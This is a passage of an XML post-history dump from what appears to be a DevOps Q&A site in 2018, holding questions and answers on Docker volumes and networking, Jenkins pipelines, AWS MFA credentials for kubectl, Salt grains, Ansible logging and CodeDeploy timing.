  <row Id="14608" PostHistoryTypeId="2" PostId="4660" RevisionGUID="cae190bb-87db-4574-80d5-e7039aac9054" CreationDate="2018-08-01T16:08:41.927" UserId="5288" Text="I want to run zabbix inside Docker and there are images for MySQL, Nginx and zabbix server ready to go.&#xA;&#xA;I know that to keep the containers stateless I need to map a volume on the host to the container. I know that for MySQL the important container volume to map is &#xA;&#xA;`/var/lib/mysql`&#xA;&#xA;But what are important parts of zabbix to backup so that the container can stay truest stateless?&#xA;&#xA;From what I can tell it seems to be all the directories under `/var/lib/zabbix`&#xA;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="14609" PostHistoryTypeId="1" PostId="4660" RevisionGUID="cae190bb-87db-4574-80d5-e7039aac9054" CreationDate="2018-08-01T16:08:41.927" UserId="5288" Text="What are the correct volume maps for zabbix running on Docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14610" PostHistoryTypeId="3" PostId="4660" RevisionGUID="cae190bb-87db-4574-80d5-e7039aac9054" CreationDate="2018-08-01T16:08:41.927" UserId="5288" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14614" PostHistoryTypeId="2" PostId="4662" RevisionGUID="cecdc980-e69b-46d0-8db7-fa5292d5fb47" CreationDate="2018-08-01T16:58:57.683" UserId="8375" Text="Given a Kubernetes cluster with two namespaces; what is the recommended way to monitor and sync differences in configmaps, deployments, ingresses etc. between the namespaces?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14615" PostHistoryTypeId="1" PostId="4662" RevisionGUID="cecdc980-e69b-46d0-8db7-fa5292d5fb47" CreationDate="2018-08-01T16:58:57.683" UserId="8375" Text="What is the recommended way to monitor differences between multiple Kubernetes namespaces/clusters?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14616" PostHistoryTypeId="3" PostId="4662" RevisionGUID="cecdc980-e69b-46d0-8db7-fa5292d5fb47" CreationDate="2018-08-01T16:58:57.683" UserId="8375" Text="&lt;kubernetes&gt;&lt;orchestration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14617" PostHistoryTypeId="50" PostId="1088" RevisionGUID="68df2655-d9c7-4435-b696-d8112129f085" CreationDate="2018-08-01T17:01:00.547" UserId="-1" />
  <row Id="14618" PostHistoryTypeId="33" PostId="4584" RevisionGUID="13802088-7a5c-4915-8c17-4acfb6e974fb" CreationDate="2018-08-01T18:00:17.280" UserId="8916" Comment="24" />
  <row Id="14619" PostHistoryTypeId="50" PostId="4044" RevisionGUID="a1f26955-1d47-453b-80a1-f3d3a755bff1" CreationDate="2018-08-01T19:01:06.527" UserId="-1" />
  <row Id="14620" PostHistoryTypeId="2" PostId="4663" RevisionGUID="64063c6d-bc60-4588-84e8-167fd01aa278" CreationDate="2018-08-01T19:11:19.753" UserId="2494" Text="I have an environment block&#xD;&#xA;&#xD;&#xA;    environment {&#xD;&#xA;      SUITE_RUN_ID = UUID.randomUUID().toString()&#xD;&#xA;      SMOKE_CMD = &quot;runtests.sh SUITE_RUN_ID=${SUITE_RUN_ID} &#xD;&#xA;      FAILED_TESTS = &quot;output_rerun_info.rb SUITE_RUN_ID=${SUITE_RUN_ID}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;When I use SMOKE_CMD and FAILED_TESTS in their respective stages I get different UUIDs... why?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="14621" PostHistoryTypeId="1" PostId="4663" RevisionGUID="64063c6d-bc60-4588-84e8-167fd01aa278" CreationDate="2018-08-01T19:11:19.753" UserId="2494" Text="Jenkins UUIDs ... oh the humanity" ContentLicense="CC BY-SA 4.0" />
  <row Id="14622" PostHistoryTypeId="3" PostId="4663" RevisionGUID="64063c6d-bc60-4588-84e8-167fd01aa278" CreationDate="2018-08-01T19:11:19.753" UserId="2494" Text="&lt;jenkins-pipeline&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14623" PostHistoryTypeId="2" PostId="4664" RevisionGUID="15bcd999-14d3-41e9-b09e-462a4faf406c" CreationDate="2018-08-01T20:10:34.123" UserId="228" Text="When installing docker on windows or mac, there is a virtual machine called 'docker machine' that runs Linux OS. Docker has a command `docker-machine` used to start this virtual machine using `docker-machine start`. It is likely that every time you restart the toolbox, you start a new VM with new fresh copy of the OS. If you do `docker-machine ls` you should see multiple docker machines, one of them running. If instead on restart you always start the same docker-machine, it will have the previous changes, like previously installed packages, including the docker compose. You can give `docker-machine start &lt;arg&gt;` with the name of the docker machine you want to start, which should be always the same one.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14624" PostHistoryTypeId="2" PostId="4665" RevisionGUID="01369a62-b05b-4f89-a5f6-a59df3f8cfbf" CreationDate="2018-08-01T22:41:16.757" UserId="9062" Text="I haven't found what I want to do though it seems basic architecture.&#xD;&#xA;&#xD;&#xA;On my host I have multiple physical interfaces and `docker0` by default (that is connected to which interface?!)&#xD;&#xA;&#xD;&#xA;- One interface `eth0` is for the host and default network of Docker containers.&#xD;&#xA;- My other interface `enp0s20f0u1` should be used by only few selected containers in a isolated way. That means nothing else is allowed to connect to this interface.&#xD;&#xA;&#xD;&#xA;I guess I need to create a Docker network but I have no way to tell it to use only one interface and nothing else.&#xD;&#xA;&#xD;&#xA;**Example:**&#xD;&#xA;- container c1: run without anything =&gt; should be connected to `docker0` and anything else&#xD;&#xA;- container c2: run with `--net=none` =&gt; no network access, completely isolated&#xD;&#xA;- container c3: run with `--network=myspecificnetwork` =&gt; connected to `enp0s20f0u1` and nothing else, isolated&#xD;&#xA;&#xD;&#xA;How to create the `myspecificnetwork` Docker network to use only the interface `enp0s20f0u1`? And how to block everything else from using this interface? " ContentLicense="CC BY-SA 4.0" />
  <row Id="14625" PostHistoryTypeId="1" PostId="4665" RevisionGUID="01369a62-b05b-4f89-a5f6-a59df3f8cfbf" CreationDate="2018-08-01T22:41:16.757" UserId="9062" Text="Dedicated physical network interface to containers in an isolated way?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14626" PostHistoryTypeId="3" PostId="4665" RevisionGUID="01369a62-b05b-4f89-a5f6-a59df3f8cfbf" CreationDate="2018-08-01T22:41:16.757" UserId="9062" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14627" PostHistoryTypeId="2" PostId="4666" RevisionGUID="2ffb2052-42db-4b82-a587-67af519bfda8" CreationDate="2018-08-01T23:13:35.957" UserId="2618" Text="Professionals are responsible. Name names.. It sounds a bit hipster.. but we issue a special award for mistakes. Only in this way can mistakes be corrected promptly. The problem is not blame.. the problem is potential retribution. If your company is in the habit of punishing people for mistakes then you should leave. Companies that behave like that eventually find it very difficult to hire professionals. What you need to foster is an environment where people own up to.. and fix their mistakes. Blaming is not personal.. it's transparency and done correctly promotes camaraderie." ContentLicense="CC BY-SA 4.0" />
  <row Id="14632" PostHistoryTypeId="50" PostId="4404" RevisionGUID="be4bdec1-ed01-4721-bb18-eddd04392f05" CreationDate="2018-08-02T06:01:06.413" UserId="-1" />
  <row Id="14633" PostHistoryTypeId="5" PostId="4652" RevisionGUID="5ed72539-9b1c-4235-928e-f5cc159b0dc6" CreationDate="2018-08-02T06:39:21.657" UserId="9045" Comment="added 326 characters in body" Text="Indeed, this is a pain. I've been fighting with it for the whole day yesterday, but managed to get it working, let's see if our cases are similar enough.&#xD;&#xA;&#xD;&#xA;My guess is that the *usual* `aws configure` configuration with a MFA ARN + the AWS SDK used to develop *kubectl* are not entirely compatible: I have two profiles set for this, one that has its *mfa_serial_arn* and *role_arn* that works as follows:&#xD;&#xA;&#xD;&#xA;* First **aws** command I type, I get prompted for MFA token &#xD;&#xA;* From there onwards, while session is active, I can work without typing in more tokens.&#xD;&#xA;* *kubectl* asks for a token EVERY SINGLE TIME.&#xD;&#xA;&#xD;&#xA;This is bad.&#xD;&#xA;&#xD;&#xA;Now, I set a different profile, without any of the above, and I do the following:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;    keys=($(aws sts assume-role --role-arn &lt;ARN_OF_DELEGATED_ROLE&gt; \&#xD;&#xA;       --role-session-name  &lt;RANDOM_UNIQUE_NAME&gt; \&#xD;&#xA;       --serial-number &lt;ARN_OF_MFA_DEVICE&gt;\&#xD;&#xA;       --token-code  \&#xD;&#xA;        --query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken]' --output text))&#xD;&#xA;    &#xD;&#xA;    # profile used here will be configured in ~/.aws/credentials&#xD;&#xA;    export AWS_PROFILE=&lt;PROFILE YOU WANT&gt;&#xD;&#xA;    &#xD;&#xA;    aws configure set aws_access_key_id ${temp_keys[0]}&#xD;&#xA;    aws configure set aws_secret_access_key ${temp_keys[1]}&#xD;&#xA;    aws configure set aws_session_token ${temp_keys[2]}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This creates a **temporary valid** aws profile, that can be used **BOTH** with the aws cli, and kubectl. " ContentLicense="CC BY-SA 4.0" />
  <row Id="14634" PostHistoryTypeId="2" PostId="4668" RevisionGUID="8c2bb724-9de7-4e8c-8bca-840ac8b3cd16" CreationDate="2018-08-02T07:11:29.513" UserId="9051" Text="My CD pipeline:  &#xD;&#xA;&#xD;&#xA; 1. Get docker image (created and pushed during CI stage)&#xD;&#xA; 2. Copy docker-compose .yml template to target server&#xD;&#xA; 3. Run the app&#xD;&#xA;&#xD;&#xA;Let's go straight to the 3rd point. I can run the app using docker-compose up e.g., but I have no idea how to handle configuration. Target server is a Ubuntu Server created by Chief on AWS, I have an access to all AWS services like Parameter Store etc.  &#xD;&#xA;&#xD;&#xA;So here are my ideas about managing configurations:&#xD;&#xA;&#xD;&#xA; 1. save secrets to configuration file before running the app and attach this file to specific location in docker-compose template (I don't like this solution, I can handle this by some bash script that inject secrets to file)&#xD;&#xA; 2. set environment variables before running the app (I talked with some devops and basically they like this solution)&#xD;&#xA; 3. get secrets from AWS Parameter Store (unfortunately I can't have an access by role management, only by key which I need to set on server by env or in config file)&#xD;&#xA;&#xD;&#xA;How managing configuration looks in real case scenarios? I'm worried about case of server crash or something similar. 1st solution will survive this, but in case of 2nd and 3rd ones the environment variables will be lost after crash/reboot. What is the best solution here?&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14635" PostHistoryTypeId="1" PostId="4668" RevisionGUID="8c2bb724-9de7-4e8c-8bca-840ac8b3cd16" CreationDate="2018-08-02T07:11:29.513" UserId="9051" Text="CD (Continuous Deployment) best practices for managing configuration" ContentLicense="CC BY-SA 4.0" />
  <row Id="14636" PostHistoryTypeId="3" PostId="4668" RevisionGUID="8c2bb724-9de7-4e8c-8bca-840ac8b3cd16" CreationDate="2018-08-02T07:11:29.513" UserId="9051" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;docker-compose&gt;&lt;continuous-deployment&gt;&lt;configuration-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14637" PostHistoryTypeId="2" PostId="4669" RevisionGUID="6d6c271e-c262-4f79-b35d-74ada238c270" CreationDate="2018-08-02T07:54:15.787" UserId="7896" Text="I want to understand what is virtual repository in the context of Artfiacts Repository Manager" ContentLicense="CC BY-SA 4.0" />
  <row Id="14638" PostHistoryTypeId="1" PostId="4669" RevisionGUID="6d6c271e-c262-4f79-b35d-74ada238c270" CreationDate="2018-08-02T07:54:15.787" UserId="7896" Text="What is virtual repository in artifactory / Artifact Repository Manager?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14639" PostHistoryTypeId="3" PostId="4669" RevisionGUID="6d6c271e-c262-4f79-b35d-74ada238c270" CreationDate="2018-08-02T07:54:15.787" UserId="7896" Text="&lt;artifactory&gt;&lt;nexus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14640" PostHistoryTypeId="2" PostId="4670" RevisionGUID="f7b4bd6f-bd1a-4d15-afa6-2038dab5f439" CreationDate="2018-08-02T08:57:27.697" UserId="9067" Text="I have two different codes like angularJs and wordpress code. In Wordpress i created one page.I want to access that page and after accessing the angularjs code in one url. " ContentLicense="CC BY-SA 4.0" />
  <row Id="14641" PostHistoryTypeId="1" PostId="4670" RevisionGUID="f7b4bd6f-bd1a-4d15-afa6-2038dab5f439" CreationDate="2018-08-02T08:57:27.697" UserId="9067" Text="How to access worpress and angular code in one url?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14642" PostHistoryTypeId="3" PostId="4670" RevisionGUID="f7b4bd6f-bd1a-4d15-afa6-2038dab5f439" CreationDate="2018-08-02T08:57:27.697" UserId="9067" Text="&lt;apache-httpd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14647" PostHistoryTypeId="50" PostId="4425" RevisionGUID="15af4ba9-0ad7-45be-89ce-d7592fdd3a34" CreationDate="2018-08-02T12:00:04.300" UserId="-1" />
  <row Id="14648" PostHistoryTypeId="2" PostId="4671" RevisionGUID="0829475b-7c90-4126-8fc8-b9cd7d133ad2" CreationDate="2018-08-02T12:57:30.590" UserId="9070" Text="I have written a Python app for somebody to run tests and publish the results into Zephyr in JIRA using the Zephyr / JIRA API. It works fine not on a corporate network, but now they have switched to use their corporate network, and each API request returns a 404 for GET &amp; PUTs. &#xD;&#xA;&#xD;&#xA;In the Python app I tried to set their proxy for the Python executable environment, but they still get the same error, like so:&#xD;&#xA;&#xD;&#xA;    proxy = 'put proxy here'&#xD;&#xA;	&#xD;&#xA;    os.environ['http_proxy'] = proxy&#xD;&#xA;    os.environ['https_proxy'] = proxy&#xD;&#xA;    os.environ['HTTP_PROXY'] = proxy&#xD;&#xA;    os.environ['HTTPS_PROXY'] = proxy&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The user has said they have exported their http &amp; https IP to get around the proxy, but still gets the same issue. Does anybody have any idea?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14649" PostHistoryTypeId="1" PostId="4671" RevisionGUID="0829475b-7c90-4126-8fc8-b9cd7d133ad2" CreationDate="2018-08-02T12:57:30.590" UserId="9070" Text="Python API requests with OAuth_requests lib behind a corporate proxy" ContentLicense="CC BY-SA 4.0" />
  <row Id="14650" PostHistoryTypeId="3" PostId="4671" RevisionGUID="0829475b-7c90-4126-8fc8-b9cd7d133ad2" CreationDate="2018-08-02T12:57:30.590" UserId="9070" Text="&lt;python&gt;&lt;api&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14651" PostHistoryTypeId="5" PostId="4663" RevisionGUID="4f00de86-51f2-495a-a5bc-847297e86455" CreationDate="2018-08-02T13:57:57.077" UserId="2494" Comment="added 1 character in body" Text="I have an environment block&#xD;&#xA;&#xD;&#xA;    environment {&#xD;&#xA;      SUITE_RUN_ID = UUID.randomUUID().toString()&#xD;&#xA;      SMOKE_CMD = &quot;runtests.sh SUITE_RUN_ID=${SUITE_RUN_ID}&quot; &#xD;&#xA;      FAILED_TESTS = &quot;output_rerun_info.rb SUITE_RUN_ID=${SUITE_RUN_ID}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;When I use SMOKE_CMD and FAILED_TESTS in their respective stages I get different UUIDs... why?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="14653" PostHistoryTypeId="2" PostId="4672" RevisionGUID="a4327089-ae8e-46a2-b740-3207881866a2" CreationDate="2018-08-02T15:53:15.163" UserId="9012" Text="There are currently 5 [dunder dictionaries][1]. They are available at runtime and generally not stored statically.&#xD;&#xA;&#xD;&#xA;`__opts__`    - Master or Minion configuration options; stored in configuration files of master and minion, collected at startup&#xD;&#xA;&#xD;&#xA;`__salt__`    - Execution module functions (i.e. `__salt__['test.echo']('foo')`); from built-in and [custom execution modules][2] stored in `_modules/`&#xD;&#xA;&#xD;&#xA;`__grains__`  - Grains (i.e. `__grains__['os']`); collected from minions, dynamically generated, or [stored in minion config][3] or [`/etc/salt/grains`][4]&#xD;&#xA;&#xD;&#xA;`__pillar__`  - Pillar data (i.e. `__pillar__['foo']`); collected from the pillar&#xD;&#xA;&#xD;&#xA;`__context__` - Context defined in state modules and execution modules&#xD;&#xA;&#xD;&#xA;You generally don't need to use them, unless you are developing Salt or writing custom modules, runners, returners, or external pillars.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.saltstack.com/en/latest/topics/development/dunder_dictionaries.html&#xD;&#xA;  [2]: https://docs.saltstack.com/en/latest/ref/modules/index.html&#xD;&#xA;  [3]: https://docs.saltstack.com/en/latest/topics/grains/#grains-in-the-minion-config&#xD;&#xA;  [4]: https://docs.saltstack.com/en/latest/topics/grains/#grains-in-etc-salt-grains" ContentLicense="CC BY-SA 4.0" />
  <row Id="14654" PostHistoryTypeId="2" PostId="4673" RevisionGUID="11107ee7-a151-4f65-8b8d-f696628d044c" CreationDate="2018-08-02T16:25:32.877" UserId="9012" Text="These are built-in grains, which are collected at minion startup. [Here's the code][1] responsible for generating them.&#xD;&#xA;&#xD;&#xA;You cannot remove them, but you can [overwrite them][2], for example to an empty value in `/etc/salt/grains`:&#xD;&#xA;&#xD;&#xA;    osfinger: null&#xD;&#xA;&#xD;&#xA;or with [grains execution module][3]: `salt minion1 grains.delval osfinger`.&#xD;&#xA;&#xD;&#xA;Keep in mind that some of the core grains are essential for the correct functioning of salt, e.g. module providers for `pkg` module rely on them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/saltstack/salt/tree/develop/salt/grains&#xD;&#xA;  [2]: https://docs.saltstack.com/en/latest/topics/grains/index.html&#xD;&#xA;  [3]: https://docs.saltstack.com/en/latest/ref/modules/all/salt.modules.grains.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="14655" PostHistoryTypeId="2" PostId="4674" RevisionGUID="af2abcc6-590e-4553-9d0a-28af7c7be93e" CreationDate="2018-08-02T16:47:57.550" UserId="4997" Text="this setup worked perfectly for me using aws code deploy:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/mo6zT.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="14656" PostHistoryTypeId="2" PostId="4675" RevisionGUID="4e273cee-f546-41fb-ac73-0939c5ccc3f7" CreationDate="2018-08-02T16:57:00.140" UserId="4997" Text="I got the following setup with aws code deploy:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;however it takes about 7 minutes from the moment i push a git branch remotely to the moment the deploy is completed.. the time is broken down like so:&#xD;&#xA;&#xD;&#xA;- bitbucket deploy: 45 seconds&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;- provisioning a new ec2 instance: 3:40 minutes&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;- installing application on replacement instance: 40 seconds&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;- 2 minutes rerouting traffic from old instance to new one *this one is extremely long, if it were done manually it would literally take 10 seconds)&#xD;&#xA;- 17 seconds terminating second instance&#xD;&#xA;[![enter image description here][5]][5]&#xD;&#xA;&#xD;&#xA;all together it's around 7 minutes.&#xD;&#xA;&#xD;&#xA;how can i optimize this? I'm looking to shrink it to below 1 minute&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/v5r31.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/HzWfa.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/tzBgQ.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/ijLab.png&#xD;&#xA;  [5]: https://i.stack.imgur.com/egJl0.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="14657" PostHistoryTypeId="1" PostId="4675" RevisionGUID="4e273cee-f546-41fb-ac73-0939c5ccc3f7" CreationDate="2018-08-02T16:57:00.140" UserId="4997" Text="how to optimize blue/green aws deployments" ContentLicense="CC BY-SA 4.0" />
  <row Id="14658" PostHistoryTypeId="3" PostId="4675" RevisionGUID="4e273cee-f546-41fb-ac73-0939c5ccc3f7" CreationDate="2018-08-02T16:57:00.140" UserId="4997" Text="&lt;aws-codedeploy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14659" PostHistoryTypeId="2" PostId="4676" RevisionGUID="faad8239-df3a-4c08-bf28-a5eb3e85b9d3" CreationDate="2018-08-02T22:07:54.183" UserId="4328" Text="&gt; bitbucket deploy: 45 seconds&#xD;&#xA;&#xD;&#xA;This seems correct. Not sure of your repo size, but if it is hosted outside of your region, that's not out of the ordinary.&#xD;&#xA;&#xD;&#xA;&gt;bitbucket deploy: 45 seconds&#xD;&#xA;&#xD;&#xA;Again, seems correct. Not much room for optimization here. &#xD;&#xA;&#xD;&#xA;&gt; provisioning a new ec2 instance: 3:40 minutes &#xD;&#xA;&#xD;&#xA;What size of instance are you provisioning? Are you provisioning one or more instances? The obvious solution would be to use in place deployment vs blue-green, but I think the extra time is well worth it. If this is for production/staging, I think you are fine. If this is in a testing environment, and you are aiming for quick feed back, you could consider provisioning new instances after a successful blue-green so that, if there is no AMI change, they are ready to go for installation immediately. &#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&gt;  installing application on replacement instance: 40 seconds&#xD;&#xA;&#xD;&#xA;Nothing to optimize here &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; 2 minutes rerouting traffic from old instance to new one *this one is extremely long, if it were done manually it would literally take 10 seconds)&#xD;&#xA;&#xD;&#xA;My guess is that step is performing extra steps that you do not perform when you manually reroute traffic. It's possible that CodeDeploy is performing extra checks to make sure that connections are draining, new connections are established before old ones are closed, and other test/checks. This is probably your best area to optimize, but not at the sacrifice of checks and balances. &#xD;&#xA;&#xD;&#xA;&gt; 17 seconds terminating second instance&#xD;&#xA;&#xD;&#xA;Nothing to optimize here.&#xD;&#xA;&#xD;&#xA;**Summary:**&#xD;&#xA;I don't think it is feasible or worthwhile to attempt to optimize your deployment further. The amount of effort it would take and sacrifices you would need to make in your test and checks far out ways the potential minute or two you would save in my opinion. I also don't think it is possible to achieve a &lt;1 minute deployment. That would average ~15-20 seconds a step, which would require a lot of sacrifices in your deployment strategy.&#xD;&#xA;&#xD;&#xA;If your goal is for quick iterations for QA, code testing, integration testing, etc., and you absolutely want sub 1 minute deployments, I recommend creating a Cloud Formation stack with your exact deployment except skipping the blue/green deployment model for an in place deployment model. This way, you can quickly see the results of your code. You should then later run your full suite blue/green deployment after your testing in either another testing environment or your staging environment. " ContentLicense="CC BY-SA 4.0" />
  <row Id="14660" PostHistoryTypeId="2" PostId="4677" RevisionGUID="da1481b5-eade-4730-b55d-57749358ce0e" CreationDate="2018-08-02T23:04:21.397" UserId="9080" Text="&#xD;&#xA;I just had a similar issue today, although with another image. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    docker {&#xD;&#xA;     image 'node:8'&#xD;&#xA;     args '--tmpfs /.config'&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Reference: https://docs.docker.com/storage/tmpfs/&#xD;&#xA;This way you shouldn't be worried about any security leaks or files which are present after the container is destroyed inside the jenkins. " ContentLicense="CC BY-SA 4.0" />
  <row Id="14661" PostHistoryTypeId="2" PostId="4678" RevisionGUID="e200d71d-888b-44b9-84ed-5e1cc7f5df9b" CreationDate="2018-08-03T00:19:22.240" UserId="9082" Text="I am using ansible and created an Playbook for deployment. I defined log_path in ansible.cfg and now tasks output is going to this log file. I want to send only few task's log into this log file. How can I achieve this ?&#xD;&#xA;&#xD;&#xA;One option is to use no_log: True attribute but this is not displaying the logs on console.&#xD;&#xA;So my requirement is to display all task's logs in console but I want to send only few task's log to my log file." ContentLicense="CC BY-SA 4.0" />
  <row Id="14662" PostHistoryTypeId="1" PostId="4678" RevisionGUID="e200d71d-888b-44b9-84ed-5e1cc7f5df9b" CreationDate="2018-08-03T00:19:22.240" UserId="9082" Text="Ansible: To write logs for certain tasks only" ContentLicense="CC BY-SA 4.0" />
  <row Id="14663" PostHistoryTypeId="3" PostId="4678" RevisionGUID="e200d71d-888b-44b9-84ed-5e1cc7f5df9b" CreationDate="2018-08-03T00:19:22.240" UserId="9082" Text="&lt;ansible&gt;&lt;ansible-inventory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14664" PostHistoryTypeId="2" PostId="4679" RevisionGUID="d9a85e3d-90e5-40c5-8bf7-c0f6b0c9f569" CreationDate="2018-08-03T06:41:50.907" UserId="7715" Text="It's in the wish list, I think. Quoting from the doc [log_plays - write playbook output to log file][1]&#xD;&#xA;&#xD;&#xA;    * This callback writes playbook output to a file per host in the /var/log/ansible/hosts directory&#xD;&#xA;    * TODO: make this configurable&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/plugins/callback/log_plays.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="14665" PostHistoryTypeId="5" PostId="4508" RevisionGUID="fae8d5a8-e8b6-4b57-85ab-8a2c6180849f" CreationDate="2018-08-03T07:17:33.847" UserId="6375" Comment="Format content" Text="I am trying to completely remove the grains from the system. I have one master and one minion setup(minion id= minion1). I am doing&#xD;&#xA;&#xD;&#xA;&gt; salt minion1 grains.ls&#xD;&#xA;&#xD;&#xA;that is listing me all the grains&#xD;&#xA;&#xD;&#xA;Now I removed data.p which is the cache memory for the grains in master&#xD;&#xA;&#xD;&#xA;    path : /var/cache/salt/master/minions/minion1/data.p&#xD;&#xA;&#xD;&#xA;Without running a salt_sync or any other command for sync I am again doing.&#xD;&#xA;&#xD;&#xA;     `salt minion1 grains.ls`,&#xD;&#xA;&#xD;&#xA;It's returning the same result.(The grains are still somewhere stored.&#xD;&#xA;&#xD;&#xA;Where exactly it is storing the grains and how to delete that?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14666" PostHistoryTypeId="4" PostId="4508" RevisionGUID="fae8d5a8-e8b6-4b57-85ab-8a2c6180849f" CreationDate="2018-08-03T07:17:33.847" UserId="6375" Comment="Format content" Text="Why unable to find the exact path for grains storage in master?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14667" PostHistoryTypeId="24" PostId="4508" RevisionGUID="fae8d5a8-e8b6-4b57-85ab-8a2c6180849f" CreationDate="2018-08-03T07:17:33.847" Comment="Proposed by 6375 approved by 8463 edit id of 740" ContentLicense="CC BY-SA 4.0" />
  <row Id="14668" PostHistoryTypeId="5" PostId="4679" RevisionGUID="58eae666-20a4-4ce1-9cdc-4d4534625c37" CreationDate="2018-08-03T07:57:40.883" UserId="7715" Comment="added 417 characters in body" Text="It's in the wish list, I think. Quoting from the doc [log_plays - write playbook output to log file][1]&#xD;&#xA;&#xD;&#xA;    * This callback writes playbook output to a file per host in the /var/log/ansible/hosts directory&#xD;&#xA;    * TODO: make this configurable&#xD;&#xA;&#xD;&#xA;IMHO required functionality is not available at the moment. Take a look at the available plugins. &quot;[You can only have one plugin][2]&quot;.&#xD;&#xA;&#xD;&#xA;    ansible-doc -t callback -l&#xD;&#xA;&#xD;&#xA;There is an option to customize a callback. [context_demo][3] looks promising.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/plugins/callback/log_plays.html&#xD;&#xA;  [2]: https://docs.ansible.com/ansible/2.6/plugins/callback.html#managing-stdout&#xD;&#xA;  [3]: https://docs.ansible.com/ansible/2.5/plugins/callback/context_demo.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="14669" PostHistoryTypeId="2" PostId="4680" RevisionGUID="5e3e3226-fd49-4710-b5c4-beec6ba5db18" CreationDate="2018-08-03T08:28:26.217" UserId="9088" Text="At the moment, we're doing &quot;traditional&quot; deployment, where every couple of weeks, we roll a release. We rely on [Semantic Versioning][1], which has worked well for us.&#xD;&#xA;&#xD;&#xA;However, we now want to release faster, using Jenkins Pipelines etc. - but I'm not sure what the best versioning strategy would be. Not having any versions (only SNAPSHOTs) is a step backwards, creating new versions all the time seems to be a lot of work.&#xD;&#xA;&#xD;&#xA;So, is there anybody out there doing CD with Maven? What's your strategy?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://semver.org/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14670" PostHistoryTypeId="1" PostId="4680" RevisionGUID="5e3e3226-fd49-4710-b5c4-beec6ba5db18" CreationDate="2018-08-03T08:28:26.217" UserId="9088" Text="What is the Maven versioning strategy for Continous Delivery/Deployment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14671" PostHistoryTypeId="3" PostId="4680" RevisionGUID="5e3e3226-fd49-4710-b5c4-beec6ba5db18" CreationDate="2018-08-03T08:28:26.217" UserId="9088" Text="&lt;maven&gt;&lt;versioning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14672" PostHistoryTypeId="2" PostId="4681" RevisionGUID="ca1dcc31-f1fb-4a26-9acb-b792f461b6b6" CreationDate="2018-08-03T10:12:44.140" UserId="9090" Text="I am VERY new to docker and I have some fundamental questions for my understanding. I would appreciate if someone would confirm my views and my usage of docker in my use-cases. Thanks a lot!&#xD;&#xA;&#xD;&#xA;I'll try it with examples.&#xD;&#xA;&#xD;&#xA; - I have a T3 application. Every tier is a basic requirement (lets say persistence with postgres, application with java, presentation with php). Because I find for any tier an image on docker-hub I use them and compose them to have 3 running containers which exchange their data via network. Correct?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; - I have an application that is in java and needs to work on the files of centos (e.g. read logs). There is not interaction - only stdout or files. Docker-images for centos are available, for java too. There is no easy way to create a Dockerfile with a double FROM. So I build my own image from centos and do 